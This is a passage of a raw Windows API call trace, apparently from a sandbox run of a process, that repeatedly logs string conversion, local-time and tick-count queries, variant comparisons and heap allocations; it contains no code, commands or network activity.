returned 1 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.225] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.225] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.225] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.225] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.226] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.358] IMalloc:Free (This=0x767666bc, pv=0x144fdc8) [0062.360] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1b, wMilliseconds=0x375)) [0062.360] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1b, wMilliseconds=0x375)) [0062.362] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.362] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.366] GetCurrentProcessId () returned 0x9e0 [0062.366] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.366] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.366] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.367] GetTickCount () returned 0x1146b9f [0062.367] GetTickCount () returned 0x1146b9f [0062.367] GetTickCount () returned 0x1146b9f [0062.367] CoFreeUnusedLibraries () [0062.367] DllCanUnloadNow () returned 0x0 [0062.367] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0062.367] FreeLibrary (hLibModule=0x77710000) returned 1 [0062.368] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0062.368] free (_Block=0x3924a8) [0062.370] GetTickCount () returned 0x1146b9f [0062.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.370] GetTickCount () returned 0x1146b9f [0062.378] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1b, wMilliseconds=0x394)) [0062.378] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.378] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.378] GetCurrentProcessId () returned 0x9e0 [0062.378] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.378] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.378] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.378] GetTickCount () returned 0x1146baf [0062.378] GetTickCount () returned 0x1146baf [0062.378] GetTickCount () returned 0x1146baf [0062.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.379] GetTickCount () returned 0x1146baf [0062.382] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1b, wMilliseconds=0x394)) [0062.382] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.382] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.382] GetCurrentProcessId () returned 0x9e0 [0062.382] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.382] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.383] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.383] GetTickCount () returned 0x1146baf [0062.383] GetTickCount () returned 0x1146baf [0062.383] GetTickCount () returned 0x1146baf [0062.383] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.383] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.383] GetTickCount () returned 0x1146baf [0062.485] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x9)) [0062.486] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.486] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.486] GetCurrentProcessId () returned 0x9e0 [0062.486] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.486] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.486] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.486] GetTickCount () returned 0x1146c0c [0062.486] GetTickCount () returned 0x1146c0c [0062.486] GetTickCount () returned 0x1146c0c [0062.486] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.486] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.486] GetTickCount () returned 0x1146c0c [0062.487] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x9)) [0062.487] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.487] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.487] GetCurrentProcessId () returned 0x9e0 [0062.487] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.487] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.487] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.487] GetTickCount () returned 0x1146c1c [0062.487] GetTickCount () returned 0x1146c1c [0062.487] GetTickCount () returned 0x1146c1c [0062.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.487] GetTickCount () returned 0x1146c1c [0062.488] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x19)) [0062.488] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.488] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.488] GetCurrentProcessId () returned 0x9e0 [0062.488] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.488] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.488] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.488] GetTickCount () returned 0x1146c1c [0062.488] GetTickCount () returned 0x1146c1c [0062.488] GetTickCount () returned 0x1146c1c [0062.488] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.488] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.488] GetTickCount () returned 0x1146c1c [0062.502] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x29)) [0062.503] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.503] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.503] GetCurrentProcessId () returned 0x9e0 [0062.503] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.503] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.503] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.503] GetTickCount () returned 0x1146c2b [0062.503] GetTickCount () returned 0x1146c2b [0062.503] GetTickCount () returned 0x1146c2b [0062.503] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.503] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.503] GetTickCount () returned 0x1146c2b [0062.518] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x38)) [0062.518] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.518] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.518] GetCurrentProcessId () returned 0x9e0 [0062.518] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.518] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.518] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.518] GetTickCount () returned 0x1146c3b [0062.518] GetTickCount () returned 0x1146c3b [0062.519] GetTickCount () returned 0x1146c3b [0062.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.519] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.519] GetTickCount () returned 0x1146c3b [0062.524] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x38)) [0062.524] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.524] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.524] GetCurrentProcessId () returned 0x9e0 [0062.524] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.525] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.525] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.525] GetTickCount () returned 0x1146c3b [0062.525] GetTickCount () returned 0x1146c3b [0062.525] GetTickCount () returned 0x1146c3b [0062.525] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.525] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.525] GetTickCount () returned 0x1146c3b [0062.525] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x38)) [0062.525] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.525] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.525] GetCurrentProcessId () returned 0x9e0 [0062.525] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.525] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.525] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.526] GetTickCount () returned 0x1146c3b [0062.526] GetTickCount () returned 0x1146c3b [0062.526] GetTickCount () returned 0x1146c3b [0062.526] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.526] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.526] GetTickCount () returned 0x1146c3b [0062.526] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x38)) [0062.526] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.526] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.526] GetCurrentProcessId () returned 0x9e0 [0062.526] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.526] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.526] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.526] GetTickCount () returned 0x1146c3b [0062.526] GetTickCount () returned 0x1146c3b [0062.526] GetTickCount () returned 0x1146c3b [0062.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.527] GetTickCount () returned 0x1146c3b [0062.534] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x48)) [0062.534] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.534] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.534] GetCurrentProcessId () returned 0x9e0 [0062.534] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.534] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.534] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.534] GetTickCount () returned 0x1146c4b [0062.534] GetTickCount () returned 0x1146c4b [0062.534] GetTickCount () returned 0x1146c4b [0062.534] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.534] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.534] GetTickCount () returned 0x1146c4b [0062.565] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x67)) [0062.565] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.565] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.565] GetCurrentProcessId () returned 0x9e0 [0062.565] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.565] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.565] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.565] GetTickCount () returned 0x1146c6a [0062.565] GetTickCount () returned 0x1146c6a [0062.565] GetTickCount () returned 0x1146c6a [0062.565] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.566] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.566] GetTickCount () returned 0x1146c6a [0062.597] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x86)) [0062.597] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.597] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.597] GetCurrentProcessId () returned 0x9e0 [0062.597] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.597] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.597] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.597] GetTickCount () returned 0x1146c89 [0062.597] GetTickCount () returned 0x1146c89 [0062.597] GetTickCount () returned 0x1146c89 [0062.597] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.597] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.597] GetTickCount () returned 0x1146c89 [0062.611] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x96)) [0062.612] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.612] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.612] GetCurrentProcessId () returned 0x9e0 [0062.612] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.612] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.612] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.612] GetTickCount () returned 0x1146c99 [0062.612] GetTickCount () returned 0x1146c99 [0062.612] GetTickCount () returned 0x1146c99 [0062.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.612] GetTickCount () returned 0x1146c99 [0062.627] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0xa5)) [0062.627] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.627] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.628] GetCurrentProcessId () returned 0x9e0 [0062.628] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.628] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.628] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.628] GetTickCount () returned 0x1146ca8 [0062.628] GetTickCount () returned 0x1146ca8 [0062.628] GetTickCount () returned 0x1146ca8 [0062.628] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.628] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.628] GetTickCount () returned 0x1146ca8 [0062.659] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0xc5)) [0062.659] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.659] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.659] GetCurrentProcessId () returned 0x9e0 [0062.659] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.659] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.659] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.659] GetTickCount () returned 0x1146cc7 [0062.659] GetTickCount () returned 0x1146cc7 [0062.659] GetTickCount () returned 0x1146cc7 [0062.659] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.659] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.659] GetTickCount () returned 0x1146cc7 [0062.690] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0xe4)) [0062.690] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.691] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.691] GetCurrentProcessId () returned 0x9e0 [0062.691] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.691] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.691] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.691] GetTickCount () returned 